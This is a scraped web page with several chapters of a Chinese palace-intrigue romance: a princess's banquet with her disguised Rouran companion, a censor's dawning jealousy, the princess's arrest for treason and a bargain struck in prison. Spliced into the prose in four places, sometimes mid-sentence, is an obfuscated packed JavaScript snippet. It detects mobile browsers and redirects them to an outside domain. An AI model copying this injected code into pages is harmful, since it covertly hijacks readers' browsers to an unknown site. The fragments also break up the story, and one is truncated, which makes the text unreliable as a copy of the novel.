“嗯。”姜宁淡淡一应。 见她反应平淡，贺兰风忍不住追问：“殿下就不想知晓，我一个混血弃子，凭何去争那柔然王位？” 姜宁眼波流转，眸光清澈：“此乃王子家事，本宫不便深究。”她话锋微顿，唇角勾起一丝了然弧度，“不过，想必是借了大祭司的东风？” 庆阳时贺兰风遣小五先行，口中所提“大祭司”三字，姜宁便已记下。 柔然部落崇神，大祭司权柄通天，一语可定乾坤。虽不知贺兰风如何能让大祭司倒戈于他，但这步棋子必定会是他争夺王位的关键一环。 贺兰风脚步倏顿，望向她的目光灼灼，带着欣赏与一丝难言的炽热：“殿下聪慧，洞若观火。” 姜宁却未看他，只淡然催促：“时辰不早，该入席了。” 公主府虽不算大，但却又有两处胜景。一处是梅园，一处是今日宴席所在的镜湖。 望着远处镜湖的波光粼粼，姜宁还能回忆起昔年旧梦。母后温柔笑语仿佛犹在耳畔：“漪漪，这两处景致最宜消磨时光。今后漪漪和驸马啊，冬来梅园温酒赏雪，夏至镜湖泛舟采莲，皆是人间乐事。” 赌书泼茶，琴瑟和鸣——母后当年所期许的，也曾是这般岁月静好吧？姜宁心底蓦然惆怅几分。 宴席上的众人见姜宁挽着贺兰风款款而来，众人一边打量贺兰风的面容，一边起身向姜宁行礼：“参见殿下！” 姜宁莞尔，广袖轻拂：“今日在公主府，诸位才子佳人尽可随意，不必拘礼。” 眸光流转间扫过席间，未见沈之衡往日那抹绯色身影。她心下一笑：浮月桥那一跳，怕是真将那位端方自持的沈大人吓得不轻。 她与贺兰风行过众人面前，目光落在席间一位身姿挺拔的年轻武将身上，笑意更深：“萧将军也来了。” 贺兰风随之望去，视线触及萧彻那双与自己相似的眉眼时，他面上仍维持着惯常的慵懒笑意，垂在身侧的左手则紧紧蜷缩握住。 论起来，这位萧彻将军，与他还是血缘上的表兄弟。他的母亲，其实是萧彻父亲萧定权的幼妹，昔日却被作为礼物，一同送到了柔然王的帐内。 那些年里，母亲在柔然日日等着兄长来接她回去，一边怨恨他的出生，一边又在他被人欺辱时挺身相护。他还能记起母亲每日的呢喃：“小风，等我阿兄安定下来了，就能接我回家了。那时，我便不再管你了。我恨你们柔然人。” 自镇北侯裴家战死沙场后，萧定权如愿逐渐接管西北军权，进爵封候，对外却只称幼妹已亡，再无音讯。就这样过了十年，母亲心灰意冷，那年冬天，一条白绫了结自己的一生。 年幼的贺兰风，他既心疼母亲，却又担心母亲真的被接走，只留他一人在柔然。直到母亲自缢。当年母亲对萧家的恨意，也渐渐成为了他对萧家的恨意。 他成年后，时常暗中在大凌和柔然之间往返，为的也是寻一个机会。他萧定权凭什么踩着母亲的尸骨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16218776|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 享尽荣华？ 后来，他在长安城见过姜宁，得知她的过往。再后来，在庆阳城再次重逢，他毫不犹豫将当年萧定权与柔然勾结之事和盘托出。 萧彻显然也是注意到贺兰风与他相似的眉眼，他略微一怔，随即对着姜宁抱拳，声如洪钟：“殿下相邀，末将岂敢不至？” “将军言重，”姜宁含笑应道，话锋微转，“去岁冬将军回京调养，如今贵体可大安了？” “劳殿下记挂，已无大碍。”萧彻朗声回应，“不日便将重返西北边陲。” “甚好。将军乃国之柱石。” 客套罢，姜宁与贺兰风行至主位落座。众人随之入席。 “本宫离京多年，与京中诸位才俊佳人多有疏离。今日设宴，一为庆贺本宫与临风公子相识三月的缘分。”她眼波脉脉转向身侧。贺兰风亦回望，指尖轻轻覆上她搁在案上的手背，姿态亲昵。 “正因临风公子，”姜宁的声音清晰地传入每个角落，“本宫方知情爱滋味，如饮甘醴。故而也愿成人之美，今日这宴席，想为诸位才子佳人牵一牵红线，若能成全几段良缘，亦是本宫福泽。” 话音甫落，沈之衡与向恒声的身影恰好出现在镜湖回廊入口。 虽隔着数丈之遥，姜宁那句“因临风公子，本宫方知情爱滋味”，依旧字字，落在沈之衡心口。 他面上波澜不惊，仍是那副清冷之姿，唯有眸底深处，似有暗流无声涌动。 他下朝后回都察院处置完紧急公文，又归府更衣，这才前来。原是想看清公主葫芦里卖的什么药，却又被这方喧嚣扰乱了心绪。这一刻，连他自己亦不明了，究竟为何要踏入此地。 身侧的向恒声瞥见他这副模样，嘴角抽搐，强忍着几乎要冲破喉咙的笑意。 姜宁率先瞧见他二人，唇边笑意愈发粲然：“本宫还道，沈御史与向少卿今日被公务缠身，无暇赏光了。” 众宾客循声望去，忙又起身：“沈御史！向少卿！” 都察院左都御史，位同六部尚书。满座宾客，比他年轻的，没有他官职更高。比他官职更高的……额……没有比他官职高的。 沈之衡面沉如水，略一颔首，便算回礼。他的目光看向姜宁，躬身行礼，声音清冷：“公务繁忙，姗姗来迟，请殿下见谅。” “怎会怪罪。沈御史和向少卿拔冗前来，我公主府蓬荜生辉。”姜宁笑意更深。 趁这片刻寒暄，惜桃已指挥宫人在主位旁添置两席。 待沈之衡与向恒声落座，姜宁目光扫过全场，续道：“在座诸位皆风雅之士，才情斐然。本宫与临风，便先行献丑，一曲琴箫合奏，权作抛砖引玉。” 随着她的手掌轻击，宫人应声捧上瑶琴与玉箫，置于案前。 沈之衡的目光落在那张熟悉的古琴上——正是浮月桥畔奏响《凤求凰》的那一把。 姜宁扶案起身，贺兰风紧随其后，小心呵护她的裙裾，唯恐有半分闪失。 沈之衡这才仔细打量起贺兰风。这眉眼之间……只觉熟悉，似是像萧家人，但这高耸的鼻翼和硬朗的轮廓，颇有异域的特点。 若换了旁人，这位从庆阳带来、名为临风的男宠并不见得有何异常。但若是公主，那必是有意而为之。 他执起案上茶盏，轻轻抿了口热茶，心底掠过几分安心。 数月前，姜宁在浮月桥前，为他独奏《凤求凰》后纵身跃入河中。他也是后来听闻她前往了庆阳，才后知后觉，这位公主的心思岂非那么简单？自己那日不过是她棋盘上的一枚棋子罢了。 今日这场戏，他应不是主角。他只需静观其变，且看她要演场什么戏便是。 25. 第二十五章 随着姜宁指尖轻拨，琴音淙淙而起。贺兰风玉箫相和，箫声悠远缠绵。 几个音符流淌而过，沈之衡便已听出——此曲，是《长相思》。 不同于姜宁在浮月桥畔独奏《凤求凰》时的挑逗戏谑，此曲《长相思》调性温婉，奏者之间竭力相和，尽显默契。 自收到公主府请帖那刻起，沈之衡便揣测过她会选何曲合奏。会是那承载帝后佳话的《凤求凰》么？每每念及此，他的心底总似被无形细刺轻扎，泛起一丝难以言喻的落寞。 如今确认是《长相思》，他竟无端生出几分庆幸。 庆幸……？ 沈之衡的眉心不由得一蹙。这念头未免太荒谬了。他为何会觉得庆幸？ 他似乎对《凤求凰》生出一种近乎霸道的占有欲。这样霸道的情绪源于，既然公主曾为他独奏此曲，便不该再为别的男子抚响。 这念头令他眉峰锁得更紧，指尖微颤，下意识端起案上的茶盏，试图压下心头的躁动。 琴箫声在耳畔流淌，他思绪却如脱缰野马，不受控地回溯过往。 去岁冬，南郊初遇，漫天风雪，她解氅相救，将他带回了京城。可是那日，她分明已经知晓了他手握苏家参与贪墨的铁证，为何还要救他？似是从那时起，他便开始留心着她的一举一动。 每一次交锋，她那慵懒戏谑下的步步为营，都在勾动他的心绪。 正月初五，浮月桥头，她一曲《凤求凰》后决然跃入沉月河，向世人演出对他爱而不得的苦恼，随后潇潇洒洒便离京去了。那几个月里，他始终不解其意，每当闲下来的间隙，总再揣摩她的意图，她并非那般会为爱寻死觅活的性子。 直到数月后得知她悄然奔赴庆阳，他才恍然明了，自己连同圣上，竟都成了她棋盘上精心算计的棋子。思及此，他唯有苦笑。 后来，听闻她于庆阳觅得“男宠”，携之归京。那丝难以言喻的失落，悄然啃噬心间。 再度相见，是她从庆阳回京那日。他上早朝前，便收到了陈勇和前夜在自缢的消息。下早朝之时，又恰巧听闻南门守卫正向李公公通传公主已到京城。于是，他带着都察院的几位属官，马不停蹄地赶往陈府。 也如愿……见到了一别数月的公主。 他翻身下马，躬身向她行礼，一如从前。 可她却说“那夜是本宫行事荒唐，请大人莫要挂怀”，轻飘飘揭过浮月桥旧事；马车内，那声对旁人唤出的“卿卿”，字字暧昧，落在他耳中则是冰冷刺骨。 再后来，她纵情风月，他便寻了由头，将她流连之地一一查封。市井皆道他醋海生波，他却固执地告诉自己，只为查探她意图，只为公事公办，不过是为她将戏台子搭得更热闹些。 他一直在为这些莫名的关注寻找合理的借口，试图粉饰这份异常。然而，此刻，在这琴瑟和鸣的《长相思》中，他有些慌了。 他倏然忆起了那话本子上的揣测——公主对御史的逗弄，或有几分是戏，几分是真。那么，若对旁人，她这“戏”，又何尝没有假戏成真的可能？ 那道精心构筑的心防，骤然崩塌。 念及此，沈之衡茫然垂首，看着自己早已被热茶烫得泛红的指尖。一个念头如惊雷般深深击中了他，令他避无可避： 他无法再自欺欺人。 他对公主这份难以言喻的牵绊，这份因她一举一动而起的波澜，这份因她与他人亲近而生的焦灼……或许，便是那名为情愫的东西么？会令他整夜辗转反侧，令他终日思她所想，甚至令他霸道地想独占她所有目光，容不得旁人分毫！ 一曲终了，席间赞叹恭维声起。 向恒声侧目，才注意到沈之衡此时神色茫然，怔怔若失，宛如做错事被撞破的孩童，全然失了平日沉稳。他不动声色地碰了碰沈之衡手臂，低声探询：“怀野，怎么了？” 这一碰，沈之衡如梦初醒，迎上向恒声关切的目光，声音轻若飘絮：“良安，无妨。” “骗人。”向恒声一眼识破。 沈之衡不再言语，只缓缓放下茶盏，指尖无意识地摩挲着那片灼烫的皮肤，试图借这微痛平复心绪。目光却不受控制地，投向主位上的姜宁。 此刻，姜宁已自琴案旁起身，极其自然地挽起贺兰风的臂弯，相偕落座。 万一呢？万一她对这男宠真有几分情意？ 这念头如野草疯长，在他心间肆虐翻腾，几乎要冲破理智的桎梏。一股强烈的冲动攫住他——想拽住她衣袖，质问那日浮月桥畔邀他为驸马之言是否还作数？诘问她为何短短数月便能移情他人？ 可他……以何立场？凭何身份？ 心绪翻涌间，沈之衡扶着桌案，不禁霍然起身。 这突兀的举动瞬间吸引了满座目光。 姜宁亦循声望来，眸中带着几分探询与玩味：“沈御史起身，莫非是欲献上一曲？” 沈之衡猛地回神，意识到自己的失态。他强自压下翻腾的心绪，避开姜宁灼灼的目光，躬身深深一揖，声音带着极力压抑却仍泄露一丝微颤的紧绷：“微臣……忽想起尚有紧急公文未决，恐误要事，先行告退。谢殿下今日盛情款待。” 语毕，他近乎仓促地转身离席，步履匆匆，未再回头。这满座风流宴席，于他而言，竟成狼狈逃离的战场。 向恒声见状，心中了然七八分。他轻笑一声，朝姜宁抱拳道：“殿下，臣似乎也想起些公务需处置，告退。”说罢，快步追着沈之衡而去。 行至公主府朱红大门外，确认已远离宴席喧嚣，沈之衡才停下脚步。他一手撑住冰凉门柱，阖上眼眸，深深吸气，试图平复胸腔里擂鼓般的心跳。 向恒声追至他身侧，一只手轻轻搭上他微颤的肩，语带揶揄：“你这下……是真醋了？” 沈之衡猛地睁眼，望向好友，薄唇微启，似欲辩解，最终却只化作一片沉默。 向恒声一副“果然如此”的神情，用力拍了拍他肩膀：“走吧，天香楼！今日我做东，一醉方休！” 沈之衡摆手：“不去天香楼，人多眼杂。” “呵，还端着你御史大人的架子？”向恒声挑眉。 “只是恐有损清誉，”沈之衡顿了顿，声音低了几分，“亦不愿……于她造成困扰。” 此言一出，向恒声惊得瞠目结舌，半晌才找回声音：“那……买酒，回你府上？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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正当她蹙眉凝思，欲另设饵料之际，苏七步履匆匆踏入：“殿下，送往柔然的信鸽，逾期未归！” 姜宁眸光骤然一凝，抬首轻笑道：“终于按捺不住了。你即刻备好马车，知会贺兰风，持我公主令牌，今夜便出城。车夫将人送至柔然后，亦暂避风头，不必返京！” “此一别，山高水远，不知何日方能再与殿下相见。”贺兰风的声音自门外低沉传来，话音未落，他人已迈入书房，身影被烛光勾勒出几分离别的怅惘。 数月朝夕相处，纵是铁石心肠，也难免滋生几分患难与共的情谊。 见贺兰风前来作别，姜宁缓缓起身，向他极其郑重地拱手一礼，清越的声音里含着诚挚的祝愿：“青山一道同云雨，明月何曾是两乡？若有缘，自有重逢之日。贺兰风，珍重，后会有期！” “殿下珍重，后会有期！”贺兰风亦收敛了往日慵懒，神色郑重地深深回礼，继而果决转身，步履坚定地踏入夜色之中，未再回头。 山水迢迢，惟愿君，得偿所愿。 26. 第二十六章 锒铛入狱 八月，暑气渐散。公主府设宴后第十日，卯时的宫城已渐渐透出侵骨的寒意。 宣政殿外，文武百官依序肃立，整理衣冠，静候朝会。 然而，卯时已过三刻，那沉重的殿门却纹丝未动。 百官正自疑惑，面面相觑之时，李鸿顺领着几名内侍沿宫道疾步而来，穿过肃立的人群，立于殿前丹墀之上，扬声宣道：“陛下口谕：朕龙体欠安，需静心调养，往后一月早朝暂免。一应政务，皆由内阁先行议处。一月后，再行呈报。” “臣等遵旨。”众官齐声应诺，声浪在空旷的殿前回荡。 待李鸿顺离去，文武百官渐渐散去，低语声却如细浪泛起： “陛下登基以来，勤勉为政，从未辍朝。此番实属罕见。” “正是！闻所未闻啊。” “诸位可曾听闻？昨夜张天师奉召连夜入宫，开坛作法，言道紫微星动，圣上一月内不宜面见生人……” “竟有此事？消息可确？” “坤宁宫传出的风声，想来不虚。” …… 沈之衡对耳畔的议论恍若未闻，步履沉稳，径直往都察院值房而去。 自公主府宴席仓皇离场后，他便一头扎入浩繁卷牍，以公务填塞所有空隙，强抑心湖深处那丝挥之不去的涟漪。如今，数桩大案行至收尾，正是千头万绪之际。 日影西斜，都察院内烛火通明，属官们见沈御史尚在伏案疾书，皆屏息凝神，不敢稍有携带，更不敢轻离。 恰在此时，向恒声大步流星闯入，神色凝重：“怀野，急召！刑部有桩大案需即刻会审。姚寺卿遣我来请你前去，褚尚书已在刑部衙门候着了。” “好。”沈之衡合上卷宗，起身相随，步履沉稳，沉声问道，“何等大案，竟需三司齐聚？” 向恒声与他并肩疾行，稍作踌躇，如实道：“事关承嘉公主。” 沈之衡脚步倏停，侧首看向他，眉峰紧锁：“你且细说。” 向恒声引他前行，语速急促：“据闻，前日有猎户于山中射落一信鸽，鸽足系有密函，乃柔然细作传讯之物。报案至官府，刑部接手，发觉落款之人化名‘临风’，正是公主府那位男宠。今日刑部登门拿人，殿下声称此人昨夜已窃其令牌潜逃出京。刑部担忧公主包庇，遂搜府查证……” 他深吸一口气，“随即在公主府内，竟搜出殿下与柔然往来的密信。褚尚书不敢擅专，故请三司会审定夺。详情与物证，需至刑部方能细览。” 向恒声叙述间，沈之衡面色渐沉。 大凌律例，通敌叛国者，等同于谋逆。按律，当斩。 沈之衡虽早知那男宠不简单，亦猜中那日宴席必有图谋，却未料姜宁竟敢行此等险招。 她如此胆大，究竟意欲何为？此罪重大，倘若一朝不慎…… 一股冰冷的寒意瞬间席卷他的四肢，他不敢再细想，强抑住翻腾的心绪，强迫自己冷静，沉声追问：“内阁可曾知悉？诸位阁老作何论断？” 公主乃皇家血脉，其罪如何，本该圣裁。圣上今晨方下旨闭关，诸事交内阁，当晚刑部便将公主下狱？ 时机之巧，环环相扣，绝非偶然。若趁此一月坐实罪名，纵使圣上出关，面对铁证如山，亦难转圜。 “消息已递内阁，尚未回话。”向恒声摇头。 沈之衡颔首：“先赴刑部。”脚下步伐更快。 二人赶至刑部议事厅时，刑部尚书褚庭真与大理寺卿姚连已然在座。向恒声躬身一礼，退至门外静候。 “沈御史，请入座。”褚庭真坐于主位，语气皆是客气。 沈之衡略一揖，依言落座。 褚庭真开门见山，声音带着刻意维持的平稳：“今夜劳烦二位大人，是为公主府涉嫌通敌叛国一案。案情梗概，方才已与姚寺卿交代。”他目光转向姚连，姚连微微颔首，表示知情。 “不知沈御史可曾听闻？”褚庭真问道。 “赶来途中，向少卿已略述一二。”沈之衡声线平稳，不辨喜怒。 “既如此，便不多赘言。”褚庭真起身，取过案上一叠信笺，行至沈之衡与姚连身侧，“此乃猎户所获柔然信鸽所携密函，以及公主府搜出之往来信件。请二位大人过目。” 沈之衡接过信笺，那熟悉的字迹，与姜宁在《百草经》上的批注几无二致。信中内容，确有通敌之语。他不动声色地扫过，将信笺递予姚连，随即抬眸问道：“内阁是何意见？” 褚庭真捋须沉吟：“苏阁老之意，待圣上出关再行圣裁，眼下只需将殿下看住即可。其余几位阁老则以为，此事沸沸扬扬，民议汹汹，当尽快定夺。因而，着令刑部、都察院、大理寺，三司会审，尽早查明定案。” “公主殿下作何辩解？”沈之衡追问。 褚庭真顿了一瞬：“殿下自陈，乃一时不察，误纳柔然细作为男宠，绝无通敌之举。信中字迹，并非出自她手。” “嗯。”沈之衡轻应一声，端起茶盏浅啜，复又置于案上，目光扫过二人，“褚尚书，姚寺卿，二位大人对此案，作何见解？” 姚连放下信笺，缓缓开口：“若字迹确系殿下所书，通敌之嫌便难以洗脱。然兹事体大，证据尚欠铁证。依老夫之见，此刻定案，为时尚早。” 沈之衡颔首：“姚寺卿所言甚是，本官也是这个意思。”他目光转向褚庭真，语气沉静却带着无形的压力，“此案需彻查到底。刑部既首接此案，当由褚尚书主理。本官与姚寺卿，自当全程监审。既不可因殿下身份枉法纵容，亦不可因物证当前而失之偏颇，令殿下蒙冤。” 他略作停顿，目光凌厉：“如此处置，二位大人以为如何？” “老夫以为可。” “便依沈御史所言。刑部定当详查，务求水落石出。”褚庭真连忙应道。 “殿下及府中一干人等，现下拘于刑部大牢？”沈之衡话锋陡转。 “正是。”褚庭真答得谨慎，不知其意。 “今夜，”沈之衡的声音极轻，语气却又不容质疑，“便将殿下及其府中人等，移交都察院监管。褚大人若需提审，可随时至都察院问话。” “这……”褚庭真面露难色。犯人交都察院监管，刑部审案反要去都察院提人？这规矩，闻所未闻！往后刑部的脸面何存？ 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247513|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >沈之衡看出了他的迟疑，唇角勾起一丝极淡的弧度，解释道：“殿下金枝玉叶，其府中仆从，亦得殿下爱重。刑部的手段，本官素有耳闻。若底下人手脚不知轻重，他日又证得殿下清白，褚尚书届时……恐难向殿下与圣上交代。” 此言一出，褚庭真脸色数变，终究寻不出反驳之词，只得硬着头皮应道：“沈御史思虑周全。便依沈御史之意。” 沈之衡又转向姚连，“姚寺卿以为呢？” 姚连年事已高，只求安稳致仕，哪愿卷入此等漩涡，当即附和：“沈御史所虑极是。由都察院看护殿下，最为妥当不过。老夫绝无异议。” “如此便好。”沈之衡起身，向二人略一揖，“本官这便回都察院安排人手，前来刑部交接。” 言毕，他不再停留，转身大步离去。 向恒声见状，对褚庭真和姚连二人抱拳道：“下官去送送沈御史，看可有需大理寺协理之处。”说罢，快步跟上沈之衡。 待二人身影消失在回廊尽头，褚庭真方长舒一口气，瘫坐椅上，对着姚连连连苦笑：“姚兄，您都瞧见了，这位沈御史平素看着温文尔雅，谦谦君子，可一旦办起案来，步步紧逼，锋芒毕露，极其霸道。您是不知道啊，他和向少卿往日可没少来刑部问责，令我刑部上下战战兢兢，如履薄冰！”他重重叹息一声，疲惫尽显。 姚连宽慰道：“沈御史乃国之栋梁，深得帝心，前程不可限量，内阁首辅之位亦是指日可待。褚老弟还是莫要忤逆为上。再熬些时日，待致仕归田，也就清净了。” 提及致仕，褚庭真只觉额角更痛：“姚兄年底便□□休，自是无忧。我呢？少说还得十年！这劳什子的刑部尚书……”他忍不住抱怨，“真真谁爱当谁当去！” “慎言！慎言！”姚连连忙劝阻。 褚庭真仰头望着厅堂梁柱，愁肠百结：“一个苏家，一个汪家，哪个是省油的灯？如今又添上这位沈御史……哪个都得罪不起啊。” 他想起离阁前汪远那番“务必严办”的耳提面命，更觉头痛欲裂，“待圣上出关问起此事，我这颗脑袋……唉！”堂堂一部尚书，竟被逼得这般进退维谷，窝囊至极。 沈之衡与向恒声离了刑部，策马向都察院牢狱行去。马蹄踏碎夜色，沿途市井喧嚣却清晰地传入耳中——所议之事，竟皆是公主府一案。 今日刑部缉拿公主府上下，动静委实太大，遮掩已是徒劳。加之姜宁前些时日那般高调张扬，此等消息，顷刻间便如野火燎原，燃遍了京城的大街小巷。 沈之衡眉峰锁得更紧，薄唇抿成一线。待赶至都察院的台狱，他即刻遣人前往刑部办理交接。 末了，他又唤来一名狱吏，自袖中取出一锭银子，沉声吩咐：“回程时，你绕道天香楼，带些上好的吃食回来。” 一旁的向恒声闻言，再度难掩讶异，压低嗓音揶揄道：“这节骨眼上，沈大人竟还有闲心顾念殿下的吃食？”他凑近一步，语带促狭，“你我相交已七载，怎不见你有这般细致心思？” 沈之衡侧目瞥他一眼，语气是一贯的淡然：“聒噪。”随即拂袖转身，径直迈入幽深的衙署大门。 27. 第二十七章 牢中对峙 当得知公主府众人将被从刑部转移至都察院时，姜宁是意外的。 此番身陷“通敌叛国”之罪，为避免牵连苏家，她早已传信外祖父，嘱咐苏家莫要插手过深，任凭刑部去查便是。 她未料沈之衡竟主动施以援手，将众人从刑部监（即刑部牢狱）挪至台狱（即都察院牢狱）看管。此举虽未能脱罪，却令惜桃、苏七等随侍免去了刑部大牢的皮肉之苦。对此，她心底不由得掠过些许感激。 下了囚车，姜宁随着都察院司狱步入地牢深处。 与刑部牢狱弥漫的血腥腐气不同，都察狱更胜在一种浸入骨髓的阴寒。不过同为囚笼，也未见得好到哪里去。 都察院的牢狱并不宽阔，却显得空旷。公主府其余仆从被另行安置，姜宁则被引向最里间。行至尽头，引路的司狱利落打开铁锁，姿态恭敬：“殿下，请。若有何需要，但凭吩咐。” 姜宁看了他一眼，此时道声谢言，似也不合时宜，最终只略一颔首。 踏入牢室，案几上几碟精致的菜肴瞬间引起了她的注意。那些，皆是天香楼的招牌。 见此，姜宁心下明了，这必是沈之衡的照拂。一股难以言喻的暖流悄然漫过心田，转瞬即逝，说不清、道不明。恰似那绵绵春雨，润物细无声。 她倏然侧身，抬眸问道：“你们沈御史何在？” 那司狱不解其意，只得垂首答道：“沈御史与向少卿，此刻应尚在院衙之内。”他顿了顿，谨慎探问，“殿下可是有吩咐？” “传沈御史来见本宫。”姜宁神色平静，字字清晰，声音带着不容置喙的威仪。 那司狱心头一凛，暗道不愧是圣眷隆宠的公主，对当朝一品大员竟也这般“召之即来”，连忙应道：“是，属下这便去请沈大人。” 言毕，司狱匆匆离去。幽深的牢狱，一时只余姜宁与两名沉默的狱卒。 不多时，沉稳的步履声由远及近，穿透死寂。姜宁循声望去，只见沈之衡身着那身熟悉的绯色官袍，正穿过重重冰冷铁栏，步履从容地向她行来。 沈之衡行至牢栏外，依礼深深一揖：“殿下。” “让其他人先退下。”姜宁声音不高，却似带着无形的敕令，“本宫有话，要单独与沈大人叙谈。” 沈之衡微侧身，目光扫过狱卒与司狱，略一点头。那三人躬身，无声退去。空旷的牢狱深处，唯余姜宁何沈之衡二人相对。 死寂弥漫，仿佛彼此的心跳声都清晰可闻。 姜宁扶着案几起身，缓步行至牢栏前，隔着冰冷的铁栅，目光落在沈之衡脸上，语调从容：“今日，多谢沈大人。” 只此一句，虽未言明谢意所向，但沈之衡心知，她是在谢他庇护府中仆从，亦在谢他备下的这餐饭食。 他面上仍是维持惯常的清冷疏离：“殿下言重。微臣不过略尽本分。“ 姜宁凝视着他，未再言语。 这长久的沉默与凝视，令他内心不禁微微波动，指尖也不自觉地在宽袖下微微蜷缩了一下。他既想迎上她的目光，又恐深陷其中难以自拔。 内心几番争斗，他终是将视线偏转开去，声音刻意带了几分冷硬：“不知殿下召见微臣，所为何事？“ “沈大人今日所为……冲动了。”姜宁语声轻缓。 此言却似当头一棒，落于沈之衡耳畔。 他蓦然侧首，目光撞入姜宁眼中，带着一丝惊疑与困惑。他不知姜宁此言何意，更恐自己一番好意，反坏了她的筹谋。 姜宁轻轻一叹：“沈大人素来不涉党争，朝野皆知。纵使往日与本宫偶有交集，外人也只当是本宫纠缠不休。经此一事，在外人眼中，沈大人与本宫……怕是再也撇不清干系。” 原是如此。 沈之衡唇角掠过一丝极淡的苦笑。撇不清又如何？他沈之衡并不在意旁人口舌。只是这话，他终究未能出口，亦不便出口。唯有沉默以对，静待下文。 “大凌的朝堂，”姜宁眸光沉静，定定望着他，一字一句，清晰而克制，“更需要沈大人做一个为国为民的纯臣。而非……” 而非是与她这声名狼藉的公主牵扯不清的权臣。 后半句，她终究咽了回去。 “那日风雪……”沈之衡忽而开口，直视姜宁，问出那个盘桓心中已久的疑惑，“殿下为何要救下微臣？” 她本可弃他于雪地，只取走那份关乎苏家生死的铁证即可。何须多此一举，将他带回京城？ 姜宁微微一怔，随即唇角弯起一抹戏谑：“自然是见大人容颜俊美，想收作男宠，岂料大人连夜遁逃了。” “此非殿下真心之言。”沈之衡声音低沉，带着不容敷衍的笃定。 迎着他眸中那份固执的探寻，姜宁垂眸浅笑，复又抬首：“沈大人可还记得，天元十八年殿试上，那篇名动京华的状元策论？” 沈之衡颔首。 姜宁复诵其文，末了，莞尔一笑：“‘使黎庶无野宿之戚，苍生绝枵腹之叹’——并非本宫救了沈大人，而是大人的理想，救了大人那一命。” 竟是为此…… 沈之衡的身形微微一晃。他未曾想到，竟是这样的缘由。 她既因他的理想而心生恻隐，那她的理想，又是什么？她所求，究竟为何？ 他对着姜宁，再次深深一揖，沉声道：“今日微臣所为，权作报答殿下当日雪中相救之恩。” “好。”姜宁淡然应下。 此恩，便算两清。 “本宫尚有一桩交易，欲与沈大人相商。”姜宁敛去笑意，恢复往日清贵从容。 “殿下请讲。”沈之衡挺直背脊。 姜宁从容开口，眼波流转间带着一丝慵懒：“那日自大人怀中扣下的证物，本宫今日便可完璧归赵。但是，需要大人应允本宫两件事。” “殿下但说无妨。” “其一，”姜宁语声清晰，“本宫要大人保下苏家，更确切地说，是保下苏阁老与浙江的苏将军。长江堤坝旧案，与苏阁老必须无半分牵连。至于那苏成及牵涉的其余苏家旁支，大人自可依法论处。苏家，愿断尾求生。”此意，亦是她与外祖父早已议定。 “好。”沈之衡应得干脆利落。 “其二，”姜宁略顿，目光落在沈之衡脸上，语带深意，“本宫要沈大人，再度执笔，领衔弹劾于本宫。” 沈之衡定定地回望她，一如浮月桥那夜，他未能参透她眼底的玄机。 “为何？”他轻声问，声音里还是泄露了一丝压抑的颤抖。 姜宁唇角轻扬，笑意如谜：“个中缘由，大人不必知晓。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266807|180369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>沈之衡苦笑。 此刻，他不想再做她棋盘上被动的棋子，他渴望成为与她并肩执棋之人。 “殿下若不言明缘由，微臣难以从命。“他语声低沉，透着一股不容动摇的执拗。 姜宁微微一怔，心下诧异，她未曾想沈之衡竟也有如此固执的一面。 她只得缓声解释道：“今晨本宫入宫向父皇请安，方知父皇闭关，一月不见外人。转眼之间，我公主府上下便已锒铛入狱。其中关窍，以大人之明，想必早已洞察。此乃有人精心设局，欲趁此一月之期，将本宫这‘通敌’之罪铸成铁案，令本宫再无法翻身。” 她睫毛轻颤，继续道：“那些人最擅长的，便是操纵舆论，煽动民意。纵使沈大人有心在此一月内周旋保全，恐也难敌京城汹涌的民意，难以与那‘众口铄金，积毁销骨’之势相抵。本宫需借大人震动天下的清名，将此事风声，传出京畿，广布于外。届时，自会有人为本宫执言，剩下的大人不必再管。只需……撑到父皇出关之日。” “好。此事，微臣应下了。”沈之衡再度颔首，此次应允得没有半分犹豫。 “如此，多谢大人。”姜宁微微福身一礼，以示谢意。继而道：“京城北郊承天寺，那株百年梨树之下，埋有大人想要之物。若慧一主持问起，大人只言是本宫之意即可。” 沈之衡深深一揖：“谢殿下成全。”言罢，转身欲走。 “沈大人。” 沈之衡脚步顿住，回身迎上姜宁的目光，低声问：“殿下还有何吩咐？” 沉寂片刻，姜宁唇角弯起一抹释怀的浅淡笑意：“无事。” “嗯。”沈之衡略一颔首，再次转身。 